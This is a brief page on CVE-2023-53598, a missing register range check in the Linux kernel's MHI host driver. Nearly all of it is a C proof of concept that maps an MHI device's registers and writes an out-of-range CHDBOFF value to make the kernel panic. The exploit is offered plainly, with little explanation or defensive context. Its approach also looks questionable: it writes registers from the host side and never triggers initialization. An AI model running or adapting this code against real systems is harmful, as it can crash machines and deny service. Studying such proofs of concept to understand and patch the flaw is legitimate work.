CVE-2023-53598 Linux内核MHI主机驱动寄存器范围检查缺失漏洞

/* * CVE-2023-53598 PoC - Trigger kernel panic via invalid CHDBOFF/ERDBOFF values * * This PoC demonstrates how a malicious MHI device can trigger a kernel panic * by providing out-of-range values in CHDBOFF or ERDBOFF registers. * * Note: This requires hardware-level access to manipulate MHI device registers, * typically via a PCIe device emulating MHI functionality. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <stdint.h> // MHI register offsets (simplified) #define MHI_CHDBOFF 0x18 #define MHI_ERDBOFF 0x1C // Invalid/out-of-range value that triggers the vulnerability #define INVALID_OFFSET 0xFFFFFFFF int main(int argc, char *argv[]) { int fd; volatile uint32_t *regs; // Open MHI device (e.g., /dev/mhi_device or via sysfs) fd = open("/dev/mhi_qti", O_RDWR); if (fd < 0) { perror("Failed to open MHI device"); return 1; } // Map device registers into user space regs = (volatile uint32_t *)mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (regs == MAP_FAILED) { perror("mmap failed"); close(fd); return 1; } // Write invalid CHDBOFF value to trigger out-of-range access // On vulnerable kernels, this will cause kernel panic printf("Writing invalid CHDBOFF value: 0x%X\n", INVALID_OFFSET); regs[MHI_CHDBOFF / 4] = INVALID_OFFSET; // Trigger MHI host initialization which reads the bad offset // This will cause the kernel to compute an invalid address // and panic when accessing it sleep(1); printf("Kernel should have panicked if vulnerable\n"); munmap((void *)regs, 4096); close(fd); return 0; }